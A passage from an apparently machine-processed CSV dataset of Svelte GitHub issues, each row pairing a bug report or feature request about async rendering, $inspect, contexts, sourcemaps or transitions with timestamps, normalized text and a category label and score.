update_effect @ chunk-RTJCWW... [TRUNCATED]",,2025-10-27 16:49:13+00:00,2025-11-06 10:47:40+00:00,16,nan,9.7489,collection of bugs with async svelte bits ui more in a more complex app describe the bug i mostly explain things in this video tldr it is about issues with async waterfalls components like dialogs or dropdowns not working hydration mismatches and more reproduction here is the repo the most up to date is on the dev branch logs shell svelte hydration mismatchhydration failed because the initial ui does not match what was rendered on the server warn client js v a e a hydration mismatch chunk s pzdpr js v a e a read hydration instruction chunk rtjcwwvw js v a e a update branch chunk schcc hl js v a e a anonymous chunk schcc hl js v a e a update reaction chunk rtjcwwvw js v a e a update effect chunk rtjcwwvw js v a e a create effect chunk rtjcwwvw js v a e a block chunk rtjcwwvw js v a e a if block chunk schcc hl js v a e a anonymous bits ui js v a e a add svelte meta chunk rtjcwwvw js v a e a presence layer bits ui js v a e a anonymous chunk schcc hl js v a e a update reaction chunk rtjcwwvw js v a e a update effect chunk rtjcwwvw js v a e a create effect chunk rtjcwwvw js v a e a branch chunk rtjcwwvw js v a e a anonymous chunk schcc hl js v a e a update reaction chunk rtjcwwvw js v a e a update effect chunk rtjcww truncated,bug,-0.7783
sveltejs/svelte,3563016750,experimental `fork` API loads `<title>` prematurely,"### Describe the bug

When hovering a link, if the link destination changes the page title, the title will be changed on hover instead of on navigation.

Requires the `experimental.async` option, but not necessarily the `experimental.remoteFunctions` option.

### Reproduction

https://github.com/zqianem/sveltekit-fork-title-bug

### Logs

```Shell

```

### System Info

```Shell
npmPackages:
    @sveltejs/adapter-auto: ^6.1.0 => 6.1.1 
    @sveltejs/kit: ^2.43.2 => 2.48.0 
    @sveltejs/vite-plugin-svelte: ^6.2.0 => 6.2.1 
    svelte: ^5.39.5 => 5.42.2 
    vite: ^7.1.7 => 7.1.12
```

### Severity

blocking an upgrade

### Additional Information

_No response_",,2025-10-26 23:57:12+00:00,2025-10-31 06:17:13+00:00,3,nan,4.2639,experimental api loads prematurely describe the bug when hovering a link if the link destination changes the page title the title will be changed on hover instead of on navigation requires the option but not necessarily the option reproduction logs system info severity blocking an upgrade additional information no response,others,-0.802
sveltejs/svelte,3554526125,Lost Access to params when using async derived on top level component with remote functions,"### Describe the bug

I have an error since updated svelte and sveltekit today, 
When hovering links who will render components who depends on a top level async derived which depends on page params, we doesn't have acces to the params of the pages (see example provided)

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-ldnx8tyj?file=src%2Froutes%2F%2Bpage.svelte

note de .remote file and the page who depends on that behind a param

### Logs

```shell
Uncaught (in promise) 
HttpError {status: 500, body: {…}}
body
: 
message
: 
""no param ?""
: 
Object
status
: 
500
```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5.39.5 => 5.42.2
```

### Severity

blocking an upgrade",,2025-10-26 22:49:17+00:00,2026-03-16 20:46:15+00:00,3,nan,140.9146,lost access to params when using async derived on top level component with remote functions describe the bug i have an error since updated svelte and sveltekit today when hovering links who will render components who depends on a top level async derived which depends on page params we doesn t have acces to the params of the pages see example provided reproduction note de remote file and the page who depends on that behind a param logs system info severity blocking an upgrade,others,-0.8074
sveltejs/svelte,3553307485,Better ergonomics for the `{@const...}` syntax,"### Describe the problem

Now that the async and remote function features have been pushing variable declaration into the markup section even more than before, I more than often need to declare multiple of them. However, a pair of parentheses only allows one at a time:
```js
{@const foo =await fn1()}
{@const bar = await fn2()}
{@const fooDerivative = doSomething(foo)}
{@const barDerivative = doSomethingElse(bar)}
{@const baz = combine(fooDerived, barDerived)
//etc
```
It's a minor issue but kinda annoying. Doesn't feel like I'm writing js anymore. 
Habitual key sequence: `;` + `Enter` + `const`. 
Now it requires: `Shift+]` + `Enter` + `Shift+[` + `@` + `const`;

### Describe the proposed solution

I'm not sure what the solution should look like. Should it be allowed to move everything back to the `script` section but avoid the waterfall issue with consecutive `await`? Should it be a new section where we can write JS freely like `<script markup` (similar to `<script module`)? I remember the days when Svelte was sold as just vanilla html, JS, and css with a sprinkle of magic on top of them. Now it's functionally better but doesn't feel like  so anymore.

### Importance

nice to have",,2025-10-26 05:26:40+00:00,2025-10-26 07:48:42+00:00,1,nan,0.0986,better ergonomics for the syntax describe the problem now that the async and remote function features have been pushing variable declaration into the markup section even more than before i more than often need to declare multiple of them however a pair of parentheses only allows one at a time it s a minor issue but kinda annoying doesn t feel like i m writing js anymore habitual key sequence now it requires describe the proposed solution i m not sure what the solution should look like should it be allowed to move everything back to the section but avoid the waterfall issue with consecutive should it be a new section where we can write js freely like similar to i remember the days when svelte was sold as just vanilla html js and css with a sprinkle of magic on top of them now it s functionally better but doesn t feel like so anymore importance nice to have,others,0.9823
sveltejs/svelte,3551963202,[bug] Bad rendering using await in component,"### Describe the bug

Hi,

When testing await in the script tag of a component, I found a bug that I can't understand.
I don't know if this is really a bug or if I'm doing something wrong.


I'm simply using an `await` to simulate an `async` load in my components, which I display via an `{#each}` on my main component, with an ""add one value"" button to add an element.

* there is no problem if I add the elements one by one, waiting for them to load
* but if I click the button multiple times, the rendering may be broken : 
    * On a non-keyed `{#each}`, some component are not correctly rendered (no children), and others are missing
    * On a keyed `{#each}`, there are even more missing components!

Exemple (there should be 10 numbered circles on each line) : 
<img width=""442"" height=""218"" alt=""Image"" src=""https://github.com/user-attachments/assets/a31df9af-4f29-4a99-89e5-cd02adcd1ce1"" />



### Reproduction

Reproduction : 
https://svelte.dev/playground/c7e416c4b97446468ee85f3abf4bc676?version=5.41.4

### Logs

```shell
No error
```

### System Info

```shell
REPL with Svelte 5.41.4
```

### Severity

annoyance",,2025-10-25 06:52:26+00:00,2025-11-16 17:35:34+00:00,1,nan,22.4466,bug bad rendering using await in component describe the bug hi when testing await in the script tag of a component i found a bug that i can t understand i don t know if this is really a bug or if i m doing something wrong i m simply using an to simulate an load in my components which i display via an on my main component with an add one value button to add an element there is no problem if i add the elements one by one waiting for them to load but if i click the button multiple times the rendering may be broken on a non keyed some component are not correctly rendered no children and others are missing on a keyed there are even more missing components exemple there should be numbered circles on each line reproduction reproduction logs system info severity annoyance,bug,-0.9754
sveltejs/svelte,3551475895,`Cannot read properties of undefined (reading 'call')` when using a local npm package,"### Describe the bug

Context: I am working on publishing a Svelte component to NPM, and I wanted to test it locally first.

I added a dependency that looks like this: `""myrandompackage"": ""file:../somepath`.

Then, I compiled the project using Rollup. It worked fine. 

When I opened the page, I got this error:  `Cannot read properties of undefined (reading 'call')`:

<img width=""518"" height=""157"" alt=""Image"" src=""https://github.com/user-attachments/assets/79f6a38c-62d9-4839-9582-765c58f2f77f"" />

### Reproduction

Here's the repo: https://github.com/tanin47/bug-svelte-17032

### Logs

```shell

```

### System Info

```shell
$ npx envinfo --system --npmPackages svelte,rollup,webpack --binaries --browsers                                                                                                               6:16PM

  System:
    OS: macOS 15.6.1
    CPU: (14) arm64 Apple M4 Max
    Memory: 235.78 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.18.0 - /Users/tanin/.nvm/versions/node/v22.18.0/bin/node
    npm: 10.9.3 - /Users/tanin/.nvm/versions/node/v22.18.0/bin/npm
  Browsers:
    Chrome: 141.0.7390.123
    Safari: 18.6
  npmPackages:
    rollup: 4.52.5 => 4.52.5
    svelte: 5.41.4 => 5.41.4
    webpack: 5.102.1 => 5.102.1
```

### Severity

blocking all usage of svelte",,2025-10-25 01:21:12+00:00,2025-10-25 06:04:27+00:00,2,nan,0.1967,when using a local npm package describe the bug context i am working on publishing a svelte component to npm and i wanted to test it locally first i added a dependency that looks like this then i compiled the project using rollup it worked fine when i opened the page i got this error reproduction here s the repo logs system info severity blocking all usage of svelte,others,-0.7003
sveltejs/svelte,3549493629,Rendering issues since 5.41.2,"### Describe the bug

Version 5.41.2 of Svelte introduced multiple rendering issues in my App. The app uses async svelte. It was pretty time consuming to create a reproduction and I hope it's ok the way I did. The app works as expected with Svelte 5.41.1

### Reproduction

https://github.com/cnolte/render-issue

Run the app then click on Pricing and then on Partnerships. The menu button for Partnerships won't be selected. When you refresh the page or you first click on Partnerships you'll see that it is selected.

### Logs

```shell

```

### System Info

```shell
See provided App
```

### Severity

blocking an upgrade",,2025-10-24 13:23:04+00:00,2025-11-06 10:47:40+00:00,5,nan,12.8921,rendering issues since describe the bug version of svelte introduced multiple rendering issues in my app the app uses async svelte it was pretty time consuming to create a reproduction and i hope it s ok the way i did the app works as expected with svelte reproduction run the app then click on pricing and then on partnerships the menu button for partnerships won t be selected when you refresh the page or you first click on partnerships you ll see that it is selected logs system info severity blocking an upgrade,bug,0.8176
sveltejs/svelte,3549067063,assignment to undeclared variable in .svelte.(js|ts) gives strange error,"### Describe the bug

Reported [here](https://bsky.app/profile/nuqayah.bsky.social/post/3m3wpmyyph22p) — if you have an assignment to an undeclared variable, it says you can't assign to `$props.id()`. Which is weird.

Most of the time this _will_ error because modules are automatically in strict mode. But if you're assigning to something on `globalThis` then it should work just fine. Either way, the error is very confusing

### Reproduction

https://svelte.dev/playground/c274ec44155c4dab8f9501b591a17d3c?version=5.41.3",,2025-10-24 11:47:55+00:00,2025-10-25 21:46:59+00:00,0,nan,1.416,assignment to undeclared variable in svelte js ts gives strange error describe the bug reported here if you have an assignment to an undeclared variable it says you can t assign to which is weird most of the time this will error because modules are automatically in strict mode but if you re assigning to something on then it should work just fine either way the error is very confusing reproduction,bug,-0.8844
sveltejs/svelte,3546278463,createContext is not exported from the types,"### Describe the bug

trying to use the new createContext but it giving this typescript error
`'""svelte""' has no exported member named 'createContext'. Did you mean 'getContext'? (ts 2724)`

### Reproduction

just try to import it using svelte 5.40.0

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 AMD Ryzen 7 7800X3D 8-Core Processor
    Memory: 15.65 GB / 31.10 GB
  Binaries:
    Node: 22.13.1 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.2 - C:\nvm4w\nodejs\npm.CMD
  Browsers:
    Chrome: 141.0.7390.108
    Edge: Chromium (141.0.3537.57)
```

### Severity

blocking an upgrade",awaiting submitter,2025-10-23 19:39:33+00:00,2025-10-23 19:56:27+00:00,2,awaiting submitter,0.0117,createcontext is not exported from the types describe the bug trying to use the new createcontext but it giving this typescript error reproduction just try to import it using svelte logs system info severity blocking an upgrade,others,-0.743
sveltejs/svelte,3545036853,bug: context not usable with async svelte,"### Describe the bug

Im 95% sure this is a bug, if not then docs.

Our app uses context extensively and i have been trying to migrate a few screens to try async/remote functions.

i had hoped something like this would work

```svelte
<script lang=""ts"">
  //...
  const comments = $derived(await getProjectComments({ projectId }));
  const commentsCtx = createVisibleCommentsContext(() => comments);
</script>   

<SomeComponentThatRendersCommentsInHereSomeWhere />
```
but unfortunately this leads to the following error `https://svelte.dev/e/set_context_after_init`, when reading this my assumption was all `setContext` must come before async work in a component. so i refactored the above code to 

```svelte
<script lang=""ts"">
  //...
  const comments = $derived(await getProjectComments({ projectId }));
</script>   

<VisibleCommentContext {comments} >
  <SomeComponentThatRendersCommentsInHereSomeWhere />
</VisibleCommentContext>
```
or
```svelte
<script lang=""ts"">
  //...
</script>   

<VisibleCommentContext {await getProjectComments({ projectId })} >
  <SomeComponentThatRendersCommentsInHereSomeWhere />
</VisibleCommentContext>
```

and it seemed to be working locally, but after releasing to our dev environment i was met with `Svelte error: set_context_after_init` again.

if this is intended behavior i think i needs to be well documented that context and async are essentially incompatible and the error needs to link to the docs.

if this is not intended then please see reproducti... [TRUNCATED]",,2025-10-23 14:48:42+00:00,2025-10-23 15:19:25+00:00,3,nan,0.0213,context not usable with async svelte describe the bug im sure this is a bug if not then docs our app uses context extensively and i have been trying to migrate a few screens to try async remote functions i had hoped something like this would work but unfortunately this leads to the following error when reading this my assumption was all must come before async work in a component so i refactored the above code to or and it seemed to be working locally but after releasing to our dev environment i was met with again if this is intended behavior i think i needs to be well documented that context and async are essentially incompatible and the error needs to link to the docs if this is not intended then please see reproducti truncated,bug,-0.8932
sveltejs/svelte,3544528334,[5.41.2] $inspect updates give negative feeling due to UpdatedAtError,"### Describe the problem

<img width=""752"" height=""200"" alt=""Image"" src=""https://github.com/user-attachments/assets/c808928c-dd75-4ffd-b7e6-97c3c9cedc83"" />

Screenshot shows just a simple boolean state toggle with `$inspect`. I've no idea how `UpdatedAtError` update was considered to be a nice addition but it gives a feeling you did something wrong or you have an error.

Every time I see it I just want to remove `$inspect` to not see a message with `Error` in it. Quite often `$inspect` is used for some debugging and seeing a message with error is not what you expect.

### Describe the proposed solution

Add a way to have `$inspect` without this `UpdatedAtError`, just like it was before, maybe with some config flag.

Thank you 🫶 

### Importance

would make my life easier",,2025-10-23 12:41:35+00:00,2025-10-25 15:29:12+00:00,12,nan,2.1164,inspect updates give negative feeling due to updatedaterror describe the problem screenshot shows just a simple boolean state toggle with i ve no idea how update was considered to be a nice addition but it gives a feeling you did something wrong or you have an error every time i see it i just want to remove to not see a message with in it quite often is used for some debugging and seeing a message with error is not what you expect describe the proposed solution add a way to have without this just like it was before maybe with some config flag thank you importance would make my life easier,bug,-0.4793
sveltejs/svelte,3544100828,Unnecessary updates when primitive props hasn't changed + weird `$inspect()` bug,"### Describe the bug

If i have a primitive property and the value of the property is updated to the exact same value, i would not expect it to trigger updates. It behaves as expected if i wrap the property in a $derived() call, but not if it comes from $props():

```svelte
<script>
	const { name, version } = $props()

	/**
	* I would not expect this to re-run when the value is exactly the same
	*/
	$effect(() => {
		console.log('name', name)
	})

	$effect(() => {
		console.log('version', version)
	});


	const versionInDerived = $derived(version)

	/**
	* Because this does not run when the value is exactly the same
	*/
	$effect(() => {
		console.log('versionInDerived', versionInDerived)
	})
</script>
```

### Bonus bug:

Also, i noticed that if i add an `$inspect(...)` with any of the props an `UpdatedAtError` get's thrown:

```svelte
	// Adding this throws an UpdatedAtError
	$inspect(name)
```

```cmd
UpdatedAtError
    at get_stack (playground:output:655:15)
    at eval (playground:output:4827:19)
    at untrack (playground:output:4177:11)
    at eval (playground:output:4821:4)
    at update_reaction (playground:output:3822:17)
    at update_effect (playground:output:4002:19)
    at flush_inspect_effects (playground:output:2426:5)
    at internal_set (playground:output:2406:5)
    at set (playground:output:2330:10)
    at eval (playground:output:5000:5)
    at HTMLButtonElement.refresh [as __click] (playground:output:5140:4)
    at HTMLBodyElement.handle_event_propagation ... [TRUNCATED]",,2025-10-23 10:30:55+00:00,2025-10-23 12:04:54+00:00,1,nan,0.0653,unnecessary updates when primitive props hasn t changed weird bug describe the bug if i have a primitive property and the value of the property is updated to the exact same value i would not expect it to trigger updates it behaves as expected if i wrap the property in a derived call but not if it comes from props bonus bug also i noticed that if i add an with any of the props an get s thrown cmd updatedaterror at get stack playground output at eval playground output at untrack playground output at eval playground output at update reaction playground output at update effect playground output at flush inspect effects playground output at internal set playground output at set playground output at eval playground output at htmlbuttonelement refresh as click playground output at htmlbodyelement handle event propagation truncated,bug,-0.0516
sveltejs/svelte,3540432858,TypeError: `bind:this` getter runs before enclosed if-block,"### Describe the bug


 - We have an if-block checking the truthiness of a value
 - Bind `this` of an inside element to a record by using a property of the value as a key
 - Set the value to undefined
 - The getter of `bind:this` runs, trying to read the property from the now undefined value.

I would've expected the if-block to unmount after setting the value to undefined but instead the getter runs first, leading to a TypeError.

Full example:

```svelte
<script>
  let value = $state({ id: ""foo"" });

  const elements = $state({});

  setTimeout(() => (value = undefined), 100);
</script>

{#if value}
  <div bind:this={elements[value.id]}></div>
{/if}
```

These two issues seem to be related:

https://github.com/sveltejs/svelte/issues/16421
https://github.com/sveltejs/svelte/issues/15698

### Reproduction

[REPL for the example](https://svelte.dev/playground/hello-world?version=5.41.1#H4sIAAAAAAAACm2OQU7EMAxFr2IZFq1UTYdt6FSCM7CbzKJtnMFS6lYTt4Cq3B0F1BELts_vf_8NpRsJDb6yOJYr9MsVK_QcKKI5b6hfcz5ngNUuv8zzIa4UNLO-i_QfHyZREo1osInDjWdtrQAEUli7sBCc4DFqp1RswM6ART9NFiGVz1ayOUwSFSjQmGv-6Hcjkr7xSNOiRVHCqYVib17EkWchV1bwdDzmQFPfV1jZHtj_zki5qHG8Qs_ijL5zPG370_OPcmB3SW1TO15bK1vNPlnBCpU-FY3eFkqXCrXj8MHi0PguRErfcEqLYFsBAAA)



### Logs

```shell
TypeError: Cannot read properties of undefined (reading 'id')
    at eval (playground:output:4838:95)
    at Array.eval (playground:output:4680:33)
    at run_all (playground:output:123:10)
    at run_micro_tasks (playground:output:634:3)
    at eval (pla... [TRUNCATED]",,2025-10-22 11:15:23+00:00,2026-03-13 12:19:12+00:00,2,nan,142.0443,typeerror getter runs before enclosed if block describe the bug we have an if block checking the truthiness of a value bind of an inside element to a record by using a property of the value as a key set the value to undefined the getter of runs trying to read the property from the now undefined value i would ve expected the if block to unmount after setting the value to undefined but instead the getter runs first leading to a typeerror full example these two issues seem to be related reproduction repl for the example logs shell typeerror cannot read properties of undefined reading id at eval playground output at array eval playground output at run all playground output at run micro tasks playground output at eval pla truncated,bug,-0.09
sveltejs/svelte,3538865018,Invalid sourcemap when there's \n in the script block,"### Describe the bug

Similar issues #13478 #16615 #9961. But here is a possible minimal reproduction:

### Reproduction

Save and run this snippet

```js
import * as svelte from 'svelte/compiler'

const code = `<script>
</script>
`

const { js, css } = svelte.compile(code, {
	filename: 'a.svelte',
})

const _16to8 = (x) => unescape(encodeURIComponent(x))

function sourceMapVisual(name, a) {
	if (!a?.code) return
	let [code, map] = [_16to8(a.code), _16to8(a.map)]
	let url =
    'https://evanw.github.io/source-map-visualization/#' +
    btoa(code.length + '\0' + code + map.length + '\0' + map).replace(/\=+$/, '')
	console.log(name, `\x1b]8;;${url}\x1b\\source-map-visualization\x1b]8;;\x07`, a.map)
}

sourceMapVisual(' JS', js)
sourceMapVisual('CSS', css)
```

Try to change the `code` to the following strings:

Single line of code: works fine.

```svelte
<script>let a = 1</script>
```

Multi line: `The ""mappings"" field of the imported source map contains invalid data. Invalid VLQ data at index 19: Invalid original column: -1.` on [Source Map Visualization](https://evanw.github.io/source-map-visualization/).

```svelte
<script>
  // You can put anything here
</script>
```

### Logs

I was trying to integrate svelte in esbuild, while esbuild complains:

```js

▲ [WARNING] Bad ""mappings"" data in source map at character 95: Invalid original column value: -1 [invalid-source-mappings]

    fixture/App.svelte#sourceMappingURL:1:415:
      1 │ ...ASK,KAAK,WAAU,MAAM,CAAC,OAAO,CAAC,GAAG,... [TRUNCATED]",,2025-10-22 02:23:51+00:00,2026-01-07 18:37:02+00:00,5,nan,77.6758,invalid sourcemap when there s n in the script block describe the bug similar issues but here is a possible reproduction save and run this snippet try to change the to the following strings single line of code works fine multi line on source map visualization logs i was trying to integrate svelte in esbuild while esbuild complains js warning bad mappings data in source map at character invalid original column value invalid source mappings fixture app svelte sourcemappingurl ask kaak waau maam caac oaao caac gaag truncated,others,-0.3919
sveltejs/svelte,3536774101,SVG `mask-type` attribute is missing from `SVGAttributes` type,"### Describe the bug

Using an SVG [`<mask>`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/mask) element with a [`mask-type`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/mask-type) attribute causes svelte-check to report the following error, because the `mask-type` attribute is not present in [svelte/elements.d.ts](https://github.com/sveltejs/svelte/blob/f549478dd0508074ac2b8c31777e598936e6f8c9/packages/svelte/elements.d.ts):

```
Error: Object literal may only specify known properties, and '""mask-type""' does not exist in type 'HTMLProps<""mask"", SVGAttributes<any>>'.
```



### Reproduction

https://svelte.dev/playground/e598d5f225474474bbbf5e6591c24e65?version=5.41.1

Create a Typescript project with `sv create` using this as a template and run `npm run check`.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.0.1
    CPU: (8) arm64 Apple M3
    Memory: 356.61 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - /Users/user/.nvm/versions/node/v22.19.0/bin/node
    npm: 10.9.3 - /Users/user/.nvm/versions/node/v22.19.0/bin/npm
    pnpm: 10.4.0 - /Users/user/Library/pnpm/pnpm
    bun: 1.3.0 - /Users/user/.bun/bin/bun
  Browsers:
    Chrome: 141.0.7390.108
    Firefox: 144.0
    Safari: 26.0.1
  npmPackages:
    svelte: workspace:^ => 5.41.1
```

### Severity

annoyance",,2025-10-21 14:14:20+00:00,2025-10-21 15:45:50+00:00,6,nan,0.0635,svg attribute is missing from type describe the bug using an svg element with a attribute causes svelte check to report the following error because the attribute is not present in svelte elements d ts reproduction create a typescript project with using this as a template and run logs system info severity annoyance,others,-0.8126
sveltejs/svelte,3536733980,Make `console.log` great again: better `$inspect` ergonomics,"### Describe the problem

I'm always frustrated when i use `$inspect`. The log shows the location as a svelte util (`inspect.js`) and there is no indication of the true source of the call.

I get extra frustrated when i think that `$inspect.trace` might be useful but then realise it is for something else.

I get double extra frustrated when i realise i need to write `$inspect(val).with(console.trace)`. double extra because not only is it horrible to write but it gives me a full trace, hogging dozens of lines in my dev console.

i get super extra double frustrated when I realise I'm gonna need to write a helper for something that worked fine in v4 with `$: console.log(val)`

### Describe the proposed solution

`$inspect` calls should show the file in which they were called, or a truncated stack trace.

### Importance

would make my life easier",,2025-10-21 14:04:53+00:00,2025-10-22 10:04:37+00:00,0,nan,0.8331,make great again better ergonomics describe the problem i m always frustrated when i use the log shows the location as a svelte util and there is no indication of the true source of the call i get extra frustrated when i think that might be useful but then realise it is for something else i get double extra frustrated when i realise i need to write double extra because not only is it horrible to write but it gives me a full trace hogging dozens of lines in my dev console i get super extra double frustrated when i realise i m gonna need to write a helper for something that worked fine in v with describe the proposed solution calls should show the file in which they were called or a truncated stack trace importance would make my life easier,others,0.7269
sveltejs/svelte,3536496330,Enable usage of `createContext` with independent `mount`,"### Describe the problem

@accuser made this observation [here](https://github.com/sveltejs/svelte/pull/16948#issuecomment-3415952723):

> I like the simplicity of this approach, but it seems to take away the ability to pass context when mounting a component during testing. Or am I missing something obvious?
> 
> I used to do this:
> 
> ```js
> mount(MyComponent, { props, context: { CONTEXT_TOKEN: mockContext }, target: document.body });
> ```
> 
> Now that the context key is opaque, I don't seem to have a way to do this.

### Describe the proposed solution

Maybe the key should be exposed (e.g. on the setter) to enable something like:
```js
mount(MyComponent, { context: { [setContext.key]: mockContext }, /* ... */ });
```

Or maybe a function for creating a context entry (key/value pair) could be provided, this way the type checking could still be automatically enforced:
```js
mount(MyComponent, {
  context: new Map([
      setContext.entry(mockContext), // [{}, T]
      // ... other contexts, e.g. via `...Object.entries({ ... })`
  ]),
  // ...
});
```

### Importance

would make my life easier",,2025-10-21 13:11:02+00:00,2026-02-05 14:59:09+00:00,9,nan,107.0751,enable usage of with independent describe the problem accuser made this observation here i like the simplicity of this approach but it seems to take away the ability to pass context when mounting a component during testing or am i missing something obvious i used to do this now that the context key is opaque i don t seem to have a way to do this describe the proposed solution maybe the key should be exposed e g on the setter to enable something like or maybe a function for creating a context entry key value pair could be provided this way the type checking could still be automatically enforced importance would make my life easier,others,0.9562
sveltejs/svelte,3535808181,Editable content duplicated on blur,"### Describe the bug

Consider this rather contrived example. When I enter some text and blur the element, the input text is duplicated, first as plain text and then as HTML, though the `content` variable contains the right contents.

```svelte
<script lang=""ts"">
  let content = $state("""");
</script>

<div onblur={(e) => { content = e.currentTarget.innerText; }} contenteditable>
  {@html content}
</div>
```

The real use case I have is a simple markdown editor. `content` is a markdown string. The `div` contains `{@html markdownToHTML(content)}`, and on blur, I do `content = HTMLToMarkdown(e.currentTarget.innerHTML)`.

I've found a workaround using `key`, but I think it seems strange that it should be necessary:
```svelte
{#key content}
  <div onblur={(e) => { content = e.currentTarget.innerText; }} contenteditable>
    {@html content}
  </div>
{/key}
```

### Reproduction

https://svelte.dev/playground/ea78f3db19fa4fd2bdae97a908d0ddbf?version=5.41.1

### Logs

```shell

```

### System Info

```shell
Same as latest Svelte playground
```

### Severity

annoyance",,2025-10-21 09:50:29+00:00,2026-03-07 00:11:17+00:00,0,nan,136.5978,editable content duplicated on blur describe the bug consider this rather contrived example when i enter some text and blur the element the input text is duplicated first as plain text and then as html though the variable contains the right contents the real use case i have is a simple markdown editor is a markdown string the contains and on blur i do i ve found a workaround using but i think it seems strange that it should be necessary reproduction logs system info severity annoyance,others,-0.7311
sveltejs/svelte,3534849227,Massive perf drop in probably 5.41.1,"### Describe the bug

After recent upgrade from 5.19.12 to 5.41.1 I found our app is freezing to multiple seconds (got as much as 5s in some cases) when I click through UI.

<img width=""1095"" height=""570"" alt=""Image"" src=""https://github.com/user-attachments/assets/e89fffe9-19de-406b-bd9f-7f710cbdd681"" />

### Reproduction

I am not yet sure how to make a reproduction for it outside our code, but I think the problem is important enough to start discussion about it and iterate on the findings.

What I know so far:
1. We are not using async
2. It seems like the regression appears in 5.41.1. I can't say for sure, because I don't quite know a specific set of steps that lead to it. My guess it's [branch refactoring PR](https://github.com/sveltejs/svelte/pull/16977)
3. The best way to trigger it seems to be fast clicking through some tabs in our UI. So probably something isn't cleaned up correctly and get interleaved?

Bottoms up
<img width=""1215"" height=""286"" alt=""Image"" src=""https://github.com/user-attachments/assets/584dac70-a74a-4f4b-98f6-20d5f23a0d1f"" />

Source with timings
<img width=""778"" height=""657"" alt=""Image"" src=""https://github.com/user-attachments/assets/930e15e0-f049-4de5-8194-e1623d77bc9e"" />

### Logs

```shell

```

### System Info

```shell
I can repro it both in Chrome and Firefox, so seems like env is irrelevant
```

### Severity

blocking an upgrade to",perf,2025-10-21 04:41:36+00:00,2025-10-28 09:21:06+00:00,18,perf,7.1941,massive perf drop in probably describe the bug after recent upgrade from to i found our app is freezing to multiple seconds got as much as s in some cases when i click through ui reproduction i am not yet sure how to make a reproduction for it outside our code but i think the problem is important enough to start discussion about it and iterate on the findings what i know so far we are not using async it seems like the regression appears in i can t say for sure because i don t quite know a specific set of steps that lead to it my guess it s branch refactoring pr the best way to trigger it seems to be fast clicking through some tabs in our ui so probably something isn t cleaned up correctly and get interleaved bottoms up source with timings logs system info severity blocking an upgrade to,others,0.5612
sveltejs/svelte,3531585081,Slow Array.includes in dev,"### Describe the bug

While using #16930 in my project, I noticed that actions which triggered eager effects were taking longer than expected. It seems this [array.includes hijack](https://github.com/sveltejs/svelte/blob/9a488d6b25d41d594ee73582e56aff123eec49e9/packages/svelte/src/internal/client/dev/equality.js#L48-L58) is a major culprit. Perhaps there should be a way for internal function to opt out of these dev mode polyfills?

This identical operation is several orders of magnitude slower time as a result:

<img width=""483"" height=""226"" alt=""Image"" src=""https://github.com/user-attachments/assets/22cb0c7b-e049-40bf-8dae-501aae617bae"" />

> with

<img width=""467"" height=""97"" alt=""Image"" src=""https://github.com/user-attachments/assets/e3486068-1291-42ae-a581-4f1cdd03a559"" />

> without

### Reproduction

Use array.includes

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (5) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    @sveltejs/adapter-auto: ^3.0.0 => 3.3.1 
    @sveltejs/kit: ^2.5.27 => 2.47.1 
    @sveltejs/vite-plugin-svelte: ^5.0.0 => 5.1.1 
    svelte: ^5 => 5.41.0 
    vite: ^6.0.0 => 6.4.0
```

### Severity

annoyance",,2025-10-20 08:46:59+00:00,2025-10-20 09:26:02+00:00,2,nan,0.0271,slow array includes in dev describe the bug while using in my project i noticed that actions which triggered eager effects were taking longer than expected it seems this array includes hijack is a major culprit perhaps there should be a way for internal function to opt out of these dev mode polyfills this identical operation is several orders of magnitude slower time as a result with without reproduction use array includes logs system info severity annoyance,others,-0.7003
sveltejs/svelte,3529370009,Transition regression since v5.38.2,"### Describe the bug

Starting in 5.38.2, exit transitions are no longer being applied under certain conditions while _enter_ transitions are working as expected.

Reproduction below.

### Reproduction

The following StackBlitz repro is pinned to 5.38.1, if you open and close the popover, you'll notice the enter and exit transitions are applied as expected.

If you bump the Svelte version to 5.38.2, you'll notice the transition is only applied during entrance, but not exit.

https://stackblitz.com/edit/jfqc8mm3?file=package.json

### Logs

```shell

```

### System Info

```shell
(StackBlitz env)
  System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.38.2 => 5.38.2
```

### Severity

blocking an upgrade",transition/animation,2025-10-19 00:27:57+00:00,2025-11-18 15:13:26+00:00,10,transition/animation,30.6149,transition regression since v describe the bug starting in exit transitions are no longer being applied under certain conditions while enter transitions are working as expected reproduction below reproduction the following stackblitz repro is pinned to if you open and close the popover you ll notice the enter and exit transitions are applied as expected if you bump the svelte version to you ll notice the transition is only applied during entrance but not exit logs system info severity blocking an upgrade,bug,-0.6652
